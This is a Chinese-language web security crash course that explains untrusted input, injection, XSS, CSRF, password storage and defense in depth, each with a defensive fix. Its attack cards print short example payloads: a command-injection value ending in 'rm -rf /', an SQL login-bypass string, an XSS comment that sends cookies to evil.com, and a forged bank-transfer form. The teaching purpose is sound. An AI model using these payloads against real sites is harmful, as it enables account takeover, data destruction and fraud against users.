速成课 · No. 22
几乎每一个 Web 漏洞都可以追溯到同一个错误:信任来自外部的数据。攻击者控制着请求、表单、URL、上传的文件——全都是。Web 安全这门功夫,就是把每一丝外部输入都当作有敌意的,直到被证明安全,并学会那几种经典攻击——任何忘记这条规则的人都会被它们惩罚。
21 个概念 · 每个都配图示 · 结尾有速查表
在讲任何具体攻击之前,有一条原则就能防住其中的大多数。吃透这一个想法,这门课的其余部分不过是它在不同地方的应用。
地图:六组共 21 个概念
一张地铁线路图:先看整条线路,再一站一站地坐过去。
这门课分成六组。第一,唯一的规则:永远不要信任输入。然后是三种经典攻击:Injection(输入在服务器上变成代码)、XSS(输入在浏览器里变成脚本)和 CSRF(浏览器被骗以你的名义发出请求)。接着是如何存储机密和密码。最后是当有东西真的漏进来时,如何限制损失,外加实践。
如何阅读每个概念
一本护照:每个人的栏目都一样,所以很容易比较。
下面每个概念都按同一种方式讲:它的英文名称(你在文档里要搜索的术语)、一幅来自现实生活的画面、一张图示和一张卡片。攻击类卡片的栏目是是什么、如何运作、例子、防御、关联。防御与原则类卡片的栏目是问题、思路、例子、代价、关联。有一条主规则,你会在每张卡片里看到它:输入是数据,绝不是代码。
Untrusted Input——所有外部输入都由攻击者控制
边境检查站把每一个到达的包裹都当作潜在危险品,检查之前不放行——不会因为东西看起来普通就放它们过去。
任何从外部进入你系统的东西——表单字段、URL、请求头、上传的文件、API 调用——都由发送它的人控制,而那个人可能是攻击者。他们可以发送任何东西,而不只是你的表单预期的内容。这个概念叫 untrusted input(不可信输入),规则是:在你验证之前,把所有外部输入都当作有敌意的。 这门课里几乎每个漏洞,说到底都是某个地方有人信任了不该信任的输入。
- 问题
- 代码悄悄假定自己收到的恰好就是表单预期的内容。
- 思路
- 在你检查之前,所有外部输入都是有敌意的。
- 例子
- "姓名"字段收到的不是姓名,而是 SQL、一个
<script>标签,或一个一兆字节长的字符串。 - 代价
- 你需要在每一个入口都做检查,而不是只在"某个地方"。
- 关联
在哪里检查——Trust Boundary;怎么检查——Input Validation 和 Output Escaping。
Trust Boundary——检查要放在哪里
围住一栋建筑的墙,只有一道有人把守的门——里面可信,外面不可信,所有往里进的东西都在这条线上接受检查。
Trust boundary(信任边界)是外部世界与你的系统之间的那条线。向内跨过它的数据必须在这条边界上检查,因为一旦进了里面,你的代码往往就会把它当作安全的。经典的错误是只在客户端(浏览器)做验证,并以为这就够了——但攻击者完全绕过浏览器。真正的安全检查发生在服务器上,在你真正能控制的那条边界上。
- 问题
- 唯一的检查在浏览器里,而攻击者直接发送请求,绕过了它。
- 思路
- 画出"外部 / 内部"这条线,并在服务器上检查跨过它的一切。
- 例子
- JS 表单不接受负数金额,但用
curl发送amount=-500照样能到达服务器。 - 代价
- 为了方便,你仍然想做客户端检查——这是重复劳动。
- 关联
- Input Validation 就在这里进行;客户端检查是为了方便,不是保护。
Input Validation 与 Output Escaping——验证输入,转义输出
保安在门口查证件(谁进来),翻译确保你的话在下一个房间里不会被误读成命令(东西怎么出去)。是两份不同的活。
两个习惯就能挡住大多数攻击。Input validation:拒绝形状不符合预期的数据——类型不对、太长、格式错误。Output escaping:当你把数据放进另一个环境——数据库查询、HTML 页面、shell 命令——就把任何可能在那里被当作代码读取的东西无害化。下面几乎每一种攻击,都是不可信输入溜进了某个会被当作指令而不是数据来解释的地方。
- 问题
- 任何形状、任何长度的数据都走进了系统。
- 思路
- 描述你预期的内容(类型、长度、格式),并在边界处拒绝其他一切。
- 例子
age是 0 到 150 的整数;email符合格式且最长 254 个字符。- 代价
- 验证并不能让输入在所有地方都安全——出去时你仍然需要 Output Escaping。
- 关联
- 在 Trust Boundary 处起作用;与 Output Escaping 搭配(第 3 章)。
每一丝外部输入都由攻击者控制。在服务器的边界处验证它,并在每个使用处转义它。这一条规则就能防住大多数攻击。
危害最大的一类攻击,也是最容易理解的一类:不可信输入被当作代码。教科书式的例子是 SQL injection,它展示了整个模式。
Injection——输入变成代码
一张请你填姓名的表格,有人在上面写下了一条指令——办事员把整行大声念出来,不小心就执行了那条指令。
当不可信输入被混进一条命令或查询并作为其中一部分被执行时,就发生了 injection。系统本想把你的输入当作数据,但输入被精心构造成了会被读作代码。这是 SQL、shell 命令等场景共有的同一个根本缺陷:"指令"与"用户数据"之间的边界从未被强制执行,于是攻击者提供了指令。
- 是什么
- 不可信输入作为命令或查询的一部分被执行。
- 如何运作
- 代码把输入拼进一个字符串,解释器(SQL、shell……)把整串都执行了。
- 例子
os.system("ping " + host),而host传来的是8.8.8.8; rm -rf /。- 防御
- 把输入与代码分开传递——用参数,绝不用拼接。
- 关联
- 一个具体情形是 SQL Injection;在浏览器里的同一思路是 XSS。
SQL Injection——经典案例
一张图书馆申请单,有人在书名栏里写道"……顺便把所有的门都打开"——自动化系统老老实实地两件事都做了。
在 SQL injection 中,攻击者在一个普通字段里输入数据库语法。如果你的代码通过把输入拼进字符串来构造查询,他们的输入就成了查询的一部分——让他们能读取其他用户的数据、绕过登录或删除数据表。几十年来,它一直是最常见、最严重的 Web 漏洞之一,而它完全来自用不可信输入做字符串拼接来构造查询。
- 是什么
- 对数据库查询的 injection。
- 如何运作
查询被构造成
"... WHERE name = '" + input + "'",输入改变了它的含义。- 例子
- 在登录表单里输入
' OR '1'='1——条件永远为真,密码检查被绕过。 - 防御
- Parameterized Query——每一次都用,没有例外。
- 关联
- Injection 中最著名的一种;在 OWASP Top 10 中归入 Injection。
Parameterized Query——解决办法
一张带有上锁、贴了标签的格子的表格:不管你在"姓名"格里写什么,它都只会被当作姓名,绝不会成为表格指令的一部分。
解药是 parameterized query(参数化查询,也叫 prepared statement)。你用占位符写好查询,再把用户输入单独传进去。数据库先解析查询的结构,之后才把数据填进空位——所以输入永远是数据,绝不会变成 SQL。输入可以是你能想象到的最恶毒的字符串,它也改变不了查询的结构。永远不要通过把输入拼进字符串来构造查询——每一次都用参数,SQL injection 就根本不可能发生。
- 问题
- 字符串拼接让输入成了 SQL 的一部分。
- 思路
- 先给出带占位符的查询形状,然后再单独给数据。
- 例子
db.query("SELECT * FROM users WHERE name = $1", [input])- 代价
- 几乎没有。要注意:表名和列名不能作为参数——要从白名单里取。
- 关联
- 能根治 SQL Injection;ORM 和查询构建器会替你做——只要你不绕开它们。
Injection 就是不可信输入被当作代码执行。SQL injection 是经典案例,而参数化查询——输入作为数据传递,绝不拼接——就是解药。
如果说 injection 是输入在服务器上变成代码,那么跨站脚本就是输入在浏览器里变成代码。它把你自己的页面变成了对付你用户的武器。
XSS——输入在浏览器里变成脚本
一块社区公告栏,有人钉上了一张做过手脚的字条,任何读到它的人口袋都会被悄悄掏空——危险是由那块受信任的公告栏自己送出去的。
跨站脚本(XSS)指攻击者让他们的 JavaScript 在另一个用户的浏览器里、在你的网站上运行。如果你拿到用户输入——一条评论、一个名字、一份个人资料——就直接放进页面,攻击者就可以提交一个 <script> 而不是文本,它会对每个查看该页面的人运行。他们的代码现在以你用户的会话身份行事:窃取 cookie、冒充他们、篡改页面。
- 是什么
- 别人的 JavaScript 在你用户的浏览器里、在你的网站上运行。
- 如何运作
- 输入没有转义,就作为 HTML 放到了页面上。
- 例子
评论
<script>fetch('//evil.com?c='+document.cookie)</script>窃取了每位读者的会话。- 防御
- Output Escaping + Content Security Policy。
- 关联
- 与 Injection 是同一个思路,只不过代码在浏览器里运行。
为什么 XSS 如此危险——它带着你网站的信任运行
一个穿着可信制服的冒名者:人们服从是因为信任制服——你网站的域名——而不是穿制服的那个人。
恶意脚本以你的网站身份运行,带着用户对你域名的全部信任。它能读取用户看到的内容、以用户身份行事,并把用户的数据发给攻击者。浏览器没有办法知道这段脚本不是你的——它来自你的页面。这就是为什么"这只是个评论框"是名言般的最后遗言:用户输入能到达页面的任何一处,都可能是 XSS 漏洞。
Output Escaping 与 Content Security Policy——防御 XSS
一位翻译把每位来宾的话都以纯文本显示在屏幕上——所以即使有人喊出一条命令,它也只是显示成无害的引用文字,不是任何人会去执行的命令。
核心的修复是 output escaping:当你把用户数据放进 HTML 时,把 < 和 > 这样的字符转换成无害的显示文本,让它们作为内容呈现,绝不作为标记执行。现代框架默认就会这么做,所以你应该让它们做。再叠加一层 Content Security Policy(CSP)——一条限制哪些脚本可以运行的浏览器规则——作为第二道防线。把到达页面的一切都当作不可信的,并在输出时将其无害化。
- 问题
- 页面上的输入被浏览器当作标记和代码来读取。
- 思路
- 在输出前,按所处环境的规则,把危险字符变成安全文本。
- 例子
<script>变成<script>,只是显示在屏幕上。- 代价
你必须按环境分别转义(HTML、属性、URL、JS);绕过框架的"原始 HTML"会破坏保护。
- 关联
- 防御 XSS 的主要手段;"验证输入,转义输出"的后半句。
- 问题
- 某个地方忘了转义——于是一段外来的脚本运行了。
- 思路
- 网站通过一个响应头告诉浏览器哪些脚本是允许的。
- 例子
Content-Security-Policy: script-src 'self'——阻止内联脚本和其他域名的脚本。- 代价
- 需要调整和测试:严格的策略可能会弄坏第三方小组件。
- 关联
- 对付 XSS 的第二道防线——Defense in Depth 的一个例子。
XSS 就是不可信输入作为脚本,带着你网站的信任,在你用户的浏览器里运行。转义一切到达页面的内容,并加上 Content Security Policy。
下一种攻击不注入任何东西——它利用的是浏览器自己的习惯:给每个请求都附上你的凭据,骗它违背你的意图、以你的名义行事。
CSRF——你的浏览器被骗去行动
有人在表格上伪造你的签名,再用你的地址寄出——银行看到一张有效的、由你签署的请求就处理了,根本不知道那不是你写的。
跨站请求伪造(CSRF)利用的事实是:浏览器会自动把你的 cookie——包括你已登录的会话——附加到发往某个网站的任何请求上。攻击者在他们自己的恶意页面里放一个发往你银行的隐藏请求;当你登录着银行的时候访问它,你的浏览器就会发送这个请求,并附上你的会话,银行就以为那是你的本意。你被迫行动,却从未做过选择。
- 是什么
- 另一个网站让你的浏览器带着你的会话发出一个请求。
- 如何运作
- 无论请求从哪里发起,浏览器都会把 cookie 附加到发往某个网站的请求上。
- 例子
在 evil.com 上,一个带有
POST bank.com/transfer?to=attacker的隐藏表单会自动提交。- 防御
- CSRF Token + SameSite Cookie。
- 关联
- Confused Deputy 的一个具体情形。
Confused Deputy——被蒙蔽的代理人问题
一位拿着钥匙的可信助手,被一张伪造的字条骗得打开了金库——助手本来就有权限,却被骗去为别人使用它。
CSRF 是一种 confused deputy(被蒙蔽的代理人)攻击:你的浏览器握有真正的权限(你的会话),却被骗去为攻击者行使它。服务器分辨不出区别,因为这个请求看起来和一个真实的请求一模一样——同样的 cookie,同样的用户。缺陷不在于凭据被盗,而在于一个有效请求是由你以外的人触发的,而且没有任何东西证明你的意图。
- 是什么
- 一个拥有权限的程序,被骗去按别人的请求使用它。
- 如何运作
- 服务器只检查"是谁"(cookie),不检查"他们是不是本意如此"。
- 例子
- 你的浏览器带着你的会话,提交了一个由 evil.com 埋下的表单。
- 防御
- 要求提供意图的证明,而不只是权限的存在。
- 关联
- CSRF 是最著名的例子;用 CSRF Token 和 SameSite 来解决。
CSRF Token 与 SameSite Cookie——证明意图
一家银行要求每笔转账都带上一个一次性验证码,这个码只印在你自己的对账单上——从别处伪造的请求拿不到它,所以被拒绝。
修复办法是要求证明这个请求是你的页面发出的。CSRF token 是你的网站嵌入自己表单里、并在提交时检查的一个秘密值;攻击者的页面不可能知道它,所以伪造的请求会失败。现代的补充手段是 SameSite cookie 属性,它告诉浏览器不要在来自其他网站的请求上发送你的会话 cookie。两者结合,就能确保一个敏感操作来自你的网站,出于你的意图。
- 问题
- 服务器分不清你的表单和伪造的表单。
- 思路
- 你网站的每个表单里都放一个秘密;只有秘密匹配,服务器才接受请求。
- 例子
- 一个隐藏字段
<input name="csrf" value="a8f3…">,与会话核对。 - 代价
- 每一个会修改数据的表单和请求都要加上它。
- 关联
- 防御 CSRF;框架通常会替你做。与 SameSite Cookie 搭配。
- 问题
- 浏览器会把 cookie 附加到来自任何网站的请求上。
- 思路
- 给会话 cookie 做标记,让浏览器不在跨站请求上发送它。
- 例子
Set-Cookie: session=…; SameSite=Lax; Secure; HttpOnly- 代价
- 是补充,而不是 token 的替代品:它取决于浏览器和设置。
- 关联
- 与 CSRF Token 一起堵死 CSRF——又是 Defense in Depth。
CSRF 骗你的浏览器带着你的会话发出一个请求。用 CSRF token 和 SameSite cookie 来证明意图,让伪造的跨站请求被拒绝。
有些数据极其敏感,以至于你怎么存储它本身就是一个安全决策。密码是经典例子,它还揭示了人们总是混淆的两个词之间的区别。
Plaintext Passwords——绝不要以纯文本存储密码
把所有人的家门钥匙清单放在前台一个没上锁的抽屉里——一次入侵,家家户户门户大开。这份方便就是灾难。
如果你把密码存成可读的文本(plaintext),那么任何拿到你数据库的人——通过入侵、泄露、内部人员——立刻就拿到了每个用户的密码。而且因为人们会重复使用密码,你连他们的其他账号也一并拖下了水。以纯文本存储密码,是 Web 安全中最严重也最基本的错误之一。这种数据太危险,不能以你能读懂的形式保存。
Hashing vs Encryption——hashing 是单向的,encryption 是双向的
碎纸机对比上锁的盒子:盒子可以重新打开、拿回原件,而碎纸机把纸变成再也拼不回去的纸屑——但同一张纸每次碎出来都一样。
这是必须弄清的区别。Encryption(加密)是可逆的:有了密钥,你就能把打乱的数据还原成原文。把它用在你必须再次读取的数据上,比如存起来的 API 密钥。Hashing(哈希)是单向的:它把输入变成一个定长的指纹,这个指纹无法反推回输入,但相同的输入总是产生相同的指纹。它们解决的是不同的问题,把二者混淆是个经典错误。
- 加密
- 双向:有密钥就能读回来。
- 哈希
- 单向:指纹无法反推,只能比较。
- 例子
合作伙伴的 API 密钥——加密它(请求里要用到它)。密码——哈希它(你只需要校验它)。
- 陷阱
- "加密的密码"是个错误:密钥一被偷,每个密码都能被读出来。
- 关联
- 对密码来说——用 Salt 加慢速算法做哈希。
Salt 与慢哈希——正确地存储密码
检查一枚蜡封:你不需要原信就能验证它——只要重新盖一次章,比对印痕。你无需存储秘密本身,就能确认匹配。
你对密码做 hash,是因为你其实从来不需要把密码取回来——你只需要校验它。存储哈希;登录时,对用户输入的内容做哈希再比较。一次泄露泄露的是指纹,不是密码。再加一个 salt——每个密码独有的随机值——让相同的密码得到不同的哈希,预先计算好的攻击表就会失效。并且使用专为密码设计的慢速哈希(如 bcrypt 或 Argon2),绝不用快速的通用哈希,这样猜测的成本就很高。
- 问题
- 快速且不加盐的哈希:相同的密码一眼就能看出,猜测和预先计算的表都管用。
- 思路
- 每个密码一个独有的 salt + 一个刻意放慢的密码算法。
- 例子
注册时:
hash = argon2(password, salt)。登录时:用同一个 salt 对输入做哈希再比较。- 代价
- 登录会稍慢一点——这正是目的:对攻击者来说慢得多。
- 关联
- Hashing 的一种应用;像 Defense in Depth 一样限制泄露造成的损失。
绝不要以纯文本存储密码。加密对你必须读回的数据是可逆的;哈希对你只需校验的数据是单向的——对密码做哈希,要加盐,并用慢速算法。
在具体攻击之外,还有一些原则,用来限制有东西漏进来时的损失——因为在安全领域,你要假定迟早会有东西漏进来。
Least Privilege——只给完成工作所需的最小访问权限
一张酒店房卡,只能打开你的房间和健身房——而不是楼里的每一扇门。就算丢了,损失也被限制在它能打开的范围内。
Least privilege(最小权限)意味着每个用户、服务和凭据只获得完成其工作所需的最小访问权限——不多给。你的 Web 应用使用的数据库账号,如果只读写数据行,就不该能删除数据表。这样,当某个部分被攻破时——并且要假定它会被攻破——blast radius(爆炸半径)就很小,受限于那一个部分被允许做的事。过宽的权限会把一次小的入侵变成全面失守。
- 问题
- 一个被攻破的部分获得了对一切的访问权。
- 思路
- 只给每个部分它的工作所需的最小权限。
- 例子
应用的数据库用户:对自己的表只有
SELECT, INSERT, UPDATE,没有DROP,不是超级用户。- 代价
- 权限需要思考和维护;"直接给管理员权限"永远更省事。
- 关联
- Defense in Depth 的一层;在 OWASP 里对应 Broken Access Control。
Defense in Depth——层层设防,而不是一堵墙
一座有护城河、城墙、城门和守卫的城堡——没有哪一道屏障被指望做到完美,所以每一道都拦住上一道漏过的东西。
Defense in depth(纵深防御)意味着叠加相互独立的保护,让一次失败不至于致命。验证输入,并且使用参数化查询,并且以最小权限运行,并且转义输出。任何单一控制都可能失效或被绕过;合在一起,就让彻底攻破需要同时打败它们全部。安全不是一堵完美的墙——而是相互重叠的普通控制,每一个都假定其他的可能会失效。
- 问题
- 单独一道防御总有一天会失效——到那时一切都敞开了。
- 思路
- 多个相互独立的层,每一层拦住另一层漏过的东西。
- 例子
- 某个模板里忘了转义——但 CSP 阻止了脚本运行。
- 代价
- 更多的设置和检查;有些工作是故意"重复"的。
- 关联
把 Input Validation、Parameterized Query、Output Escaping、CSP、Least Privilege 串在一起。
Information Leakage——别在错误信息里泄露线索
一扇上了锁的门,被摇动时还热心地宣布"钥匙不对——正确的那把是黄铜的,有点弯"——正好告诉入侵者该怎么进来。
冗长的错误信息和说得太多的响应等于给攻击者递了一张地图。这叫 information leakage(信息泄露)。一个提示"密码错误"(而不是"没有这个用户")的登录,会确认哪些账号存在;一份堆栈跟踪会暴露你的框架、版本和查询结构。给用户显示通用的提示,把细节私下记入日志,并且绝不返回超出客户端所需的数据。安静地失败不只是整洁:它让攻击者拿不到使下一步变容易的侦察信息。
- 是什么
- 错误信息和响应告诉攻击者系统是如何构建的。
- 例子
"没有这个用户"与"密码错误"的区别;带有
db.py:42和数据库版本的堆栈跟踪。- 防御
- 通用的提示("邮箱或密码无效"),细节写进日志,响应里只放需要的字段。
- 陷阱
- 调试模式在生产环境里被不小心开着。
- 关联
属于 OWASP Top 10——Security Misconfiguration;Defense in Depth 的又一层。
假定总会有东西漏进来。最小权限限定损失,纵深防御让任何单一失败都不致命,而安静的错误信息让攻击者拿不到地图。
安全是贯穿你构建方式的一种实践,而不是最后才拧上去的一个功能。需要养成的习惯不多,而且大多数都是那唯一的规则被一丝不苟地执行。
Secure Defaults 与 Patching——依靠框架并保持更新
你不会自己锻造锁——你会装上久经考验的锁,并在公布漏洞时更换它。自己造锁,只会得到一把更差的锁。
大多数经典攻击已经被成熟的框架和库解决了:它们替你转义输出、参数化查询、处理 CSRF token——前提是你按预期使用它们,而不是绕开它们。这些就是 secure defaults(安全默认值)。又因为依赖库里不断有漏洞被发现,所以要保持它们更新(patching);没打补丁的库是最常见的入侵途径之一。不要自己发明加密,也不要自己发明转义——使用经过审查的工具,并保持更新。
- 问题
- 自制的加密和转义存在漏洞;老旧的库带有已知漏洞。
- 思路
- 按预期使用框架内置的保护,并定期更新依赖。
- 例子
- 模板引擎自己转义;ORM 做参数化;像 Dependabot 这样的机器人提议更新。
- 代价
- 更新需要测试;绕开框架("原始" HTML/SQL)会破坏保护。
- 关联
"免费"给你 Output Escaping、Parameterized Query、CSRF Token。
OWASP Top 10——最常见漏洞的地图
飞行前检查清单之所以存在,是因为同样的少数几个故障造成了大多数坠机——你每次都检查它们,而不是在空中重新发现它们。
你不必去想象每一种威胁。OWASP Top 10 是业界列出的最常见、最严重的 Web 漏洞清单——injection、broken access control 等等——它同时也是一份检查清单。拿你的应用对照它走一遍,你就能抓住造成绝大多数真实入侵的那些类别。使用一张已知的地图,胜过指望自己什么都想到了。
- 是什么
- 业界对最常见、最危险的几类 Web 漏洞的排名。
- 如何使用
- 当作检查清单:拿每个类别对照你自己的应用走一遍。
- 例子
- Injection 类别——检查每个查询都已参数化、输出都已转义。
- 陷阱
- 它是最低要求,不是安全的全面保证。
- 关联
- 把整门课串起来,从 Injection 到 Least Privilege。
一切如何相连
一座房子靠一把锁、一个警报器和一个保险箱同时保护——而不是靠"唯一正确的措施"。
中心是一条规则——永远不要信任输入,在 trust boundary 处检查。从它长出三道防御,对付三种攻击:对付 Injection 用参数化查询,对付 XSS 用转义和 CSP,对付 CSRF 用 token 和 SameSite。而当有东西真的漏进来时:加盐哈希(泄露不会交出密码)、least privilege(一个被攻破的部分不会交出一切)和 defense in depth(一层失效不致命)。在这一切之上——OWASP Top 10 作为检查清单。
- 外部输入从哪里进入,是否已在服务器的边界处验证?
- 查询——是否参数化,从不通过拼接输入来构造?
- 输出到页面——是否已转义,让用户输入无法作为脚本运行?
- 会修改状态的操作——是否用 token 和 SameSite 防护了 CSRF?
- 敏感数据——密码是否加盐哈希,机密是否从不以纯文本存放?
- Least privilege——每个部分是否只拥有它所需的访问权限?
- 你把所有外部输入都当作有敌意的,在服务器的边界处检查。
- 查询是参数化的,页面输出是转义的——默认通过框架完成。
- 会修改状态的请求带有 CSRF token,cookie 是 SameSite 的。
- 密码经过哈希并加盐;没有任何敏感数据以纯文本存储。
- 每个部分都以最小权限运行,依赖保持已打补丁,并且你对照 OWASP Top 10 做检查。
速查表:全部 21 个概念
唯一的规则
- Untrusted Input外部输入
一切来自外部的东西都由攻击者控制。检查之前都是有敌意的。
- Trust Boundary外部与内部
"外部 / 内部"这条线。检查就放在它上面,在服务器上,而不是在浏览器里。
- Input Validation在边界处验证
拒绝任何形状不对的东西:类型、长度、格式。
Injection
- Injection代码注入
输入被拼进命令并作为代码执行。
- SQL InjectionSQLi
对数据库查询的 injection:
' OR '1'='1,数据库就把一切都交了出来。- Parameterized Queryprepared statement
查询和数据分开传送——输入永远是数据。
XSS
- XSSCross-Site Scripting
一段外来的脚本在用户的浏览器里,带着你网站的信任。
- Output Escapingoutput encoding
<→<:输入作为文本显示,绝不执行。- Content Security PolicyCSP
一个响应头,说明浏览器可以运行哪些脚本。第二道防线。
CSRF
- CSRFCross-Site Request Forgery
另一个网站通过你的浏览器、带着你的 cookie 发出请求。
- Confused Deputy权限被滥用
握有权限的一方被骗去为别人使用它。
- CSRF Tokenanti-CSRF token
你表单里的一个秘密:伪造的请求不知道它。
- SameSite Cookiecookie 属性
浏览器不会把 cookie 附加到跨站请求上。
密码与机密
- Plaintext Passwords反模式
一次泄露——所有密码,外加人们重复使用它们的其他账号。
- Hashing vs Encryption单向 vs 双向
哈希是单向的,只能比较。加密可以用密钥读回来。
- Salted Password Hashingsalt + bcrypt / Argon2
每个密码一个 salt + 一个慢速算法:猜测代价高昂。
控制损失与实践
- Least Privilege最小访问权限
最小权限——爆炸半径很小。
- Defense in Depth分层安全
多个相互独立的层;没有任何单一失败是致命的。
- Information Leakageinformation disclosure
给用户通用的提示,细节写进私有日志。
- Secure Defaults + Patching框架与更新
按预期使用框架的保护,并保持依赖更新。
- OWASP Top 10漏洞地图
业界列出的最常见漏洞清单——把它当作检查清单来用。
Web 安全主要就是一条规则被一丝不苟地执行:永远不要信任输入。在边界处验证,在输出时转义,安全地存储机密,并层层设防,以备有东西漏过。